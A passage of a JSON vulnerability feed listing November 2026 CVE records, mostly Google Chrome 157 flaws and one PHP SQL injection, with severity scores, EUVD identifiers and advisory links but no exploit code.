HTML page. (Chromium security severity: Medium)","cvss":8.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/511768565"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:36","euvd":{"id":"EUVD-2026-116455","description":"Use of released resource in GPU in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:41","cvss":8.3,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/511768565"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121257","summary":"Use after free in TabStrip in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted Chrome extension. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567672825"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:36","euvd":{"id":"EUVD-2026-116298","description":"Use after free in TabStrip in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted Chrome extension. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:49","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567672825"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121502","summary":"A vulnerability was identified in mathurvishal CloudClassroom-PHP-Project. The impacted element is an unknown function of the file facultydetails.php. The manipulation of the argument deleteid leads to sql injection. The attack may be initiated remotely. The exploit is publicly available and might be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The vendor was contacted early about this disclosure but did not respond in any way.","cvss":5.5,"cvss_version":4.0,"cvss_v2":7.5,"cvss_v3":7.3,"cvss_v4":5.5,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/rmsbpro/Advisory/blob/main/deleteid-sqli-family.md","https://vuldb.com/cve/CVE-2026-121502","https://vuldb.com/submit/1019365","https://vuldb.com/vuln/430284","https://vuldb.com/vuln/430284/cti"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:36","euvd":{"id":"EUVD-2026-116212","description":"A vulnerability was identified in mathurvishal CloudClassroom-PHP-Project. The impacted element is an unknown function of the file facultydetails.php. The manipulation of the argument deleteid leads to sql injection. The attack may be initiated remotely. The exploit is publicly available and might be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The vendor was contacted early about this disclosure but did not respond in any way.","published_time":"2026-11-03T20:15:12","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/430284","https://vuldb.com/vuln/430284/cti","https://vuldb.com/cve/CVE-2026-121502","https://vuldb.com/submit/1019365","https://github.com/rmsbpro/Advisory/blob/main/deleteid-sqli-family.md"],"products":["CloudClassroom-PHP-Project","CloudClassroom-PHP-Project","CloudClassroom-PHP-Project"],"vendors":["mathurvishal"]},"ghsa":null},{"cve_id":"CVE-2026-121246","summary":"Use after free in WebGL in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/558870371"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:35","euvd":{"id":"EUVD-2026-116500","description":"Use after free in WebGL in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","published_time":"2026-11-03T20:42:21","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/558870371"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121247","summary":"Buffer overflow in Dawn in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/569161611"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:35","euvd":{"id":"EUVD-2026-116502","description":"Buffer overflow in Dawn in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","published_time":"2026-11-03T20:42:22","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/569161611"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121248","summary":"Incorrect authorization in API in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions via a crafted Chrome extension. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/517435285"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:35","euvd":{"id":"EUVD-2026-116460","description":"Incorrect authorization in API in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions via a crafted Chrome extension. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:42","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/517435285"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121249","summary":"Buffer overflow in ANGLE in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574752676"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:35","euvd":{"id":"EUVD-2026-116416","description":"Buffer overflow in ANGLE in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:33","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574752676"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121250","summary":"Use after free in Extensions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted Chrome extension. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/572991399"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:35","euvd":{"id":"EUVD-2026-116402","description":"Use after free in Extensions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted Chrome extension. (Chromium security severity: High)","published_time":"2026-11-03T20:42:30","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/572991399"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121251","summary":"Missing authorization in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/561672123"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:35","euvd":{"id":"EUVD-2026-116343","description":"Missing authorization in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:58","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/561672123"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121252","summary":"Incorrect authorization in Core in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/550356947"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:35","euvd":{"id":"EUVD-2026-116328","description":"Incorrect authorization in Core in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:55","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/550356947"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121238","summary":"Use after free in Source in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/569659190"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:34","euvd":{"id":"EUVD-2026-116309","description":"Use after free in Source in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:51","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/569659190"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121239","summary":"Information leak in Core in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/563355450"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:34","euvd":{"id":"EUVD-2026-116485","description":"Information leak in Core in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:47","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/563355450"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121240","summary":"Improper input validation in Variations in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions via crafted network traffic. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/563181376"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:34","euvd":{"id":"EUVD-2026-116350","description":"Improper input validation in Variations in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions via crafted network traffic. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:59","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/563181376"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121241","summary":"Use after free in Navigation in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574791491"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:34","euvd":{"id":"EUVD-2026-116418","description":"Use after free in Navigation in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:33","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574791491"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121242","summary":"Improper input validation in WebPackaging in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via crafted network traffic. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566857543"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:34","euvd":{"id":"EUVD-2026-116441","description":"Improper input validation in WebPackaging in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via crafted network traffic. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:38","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566857543"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121243","summary":"Information leak in Frames in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/513451861"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:34","euvd":{"id":"EUVD-2026-116320","description":"Information leak in Frames in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:53","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/513451861"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121244","summary":"UI misrepresentation in FileAPI in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/479258455"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:34","euvd":{"id":"EUVD-2026-116440","description":"UI misrepresentation in FileAPI in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:38","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/479258455"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121245","summary":"Race condition in Autofill in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/570029913"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:34","euvd":{"id":"EUVD-2026-116311","description":"Race condition in Autofill in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:52","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/570029913"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121231","summary":"Incorrect authorization in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/548943621"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:33","euvd":{"id":"EUVD-2026-116467","description":"Incorrect authorization in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:44","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/548943621"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121232","summary":"Incorrect authorization in Core in Google Chrome prior to 157.0.8103.38 allowed a local attacker leveraging social engineering to obtain sensitive information via a co-installed app. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567846676"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:33","euvd":{"id":"EUVD-2026-116363","description":"Incorrect authorization in Core in Google Chrome prior to 157.0.8103.38 allowed a local attacker leveraging social engineering to obtain sensitive information via a co-installed app. (Chromium security severity: Low)","published_time":"2026-11-03T20:43:02","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567846676"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121233","summary":"Type confusion in CacheStorage in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/552757015"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:33","euvd":{"id":"EUVD-2026-116512","description":"Type confusion in CacheStorage in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:24","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/552757015"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121234","summary":"Privilege elevation in Contacts in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/513767200"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:33","euvd":{"id":"EUVD-2026-116457","description":"Privilege elevation in Contacts in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:42","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/513767200"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121235","summary":"Information leak in Paint in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/540040995"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:33","euvd":{"id":"EUVD-2026-116327","description":"Information leak in Paint in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:55","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/540040995"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121236","summary":"Improper input validation in Network in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553260839"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:33","euvd":{"id":"EUVD-2026-116335","description":"Improper input validation in Network in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:56","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553260839"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121237","summary":"Improper state validation in FileSystem in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/503201581"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:33","euvd":{"id":"EUVD-2026-116443","description":"Improper state validation in FileSystem in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:38","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/503201581"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121223","summary":"Observable discrepancy in Media in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568972975"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:32","euvd":{"id":"EUVD-2026-116301","description":"Observable discrepancy in Media in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:50","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568972975"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121224","summary":"Security issue in Desktop in Google Chrome on on Mac prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574922421"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:32","euvd":{"id":"EUVD-2026-116419","description":"Security issue in Desktop in Google Chrome on on Mac prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: High)","published_time":"2026-11-03T20:42:34","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574922421"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121225","summary":"Incorrect authorization in Permissions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/563349192"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:32","euvd":{"id":"EUVD-2026-116352","description":"Incorrect authorization in Permissions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: 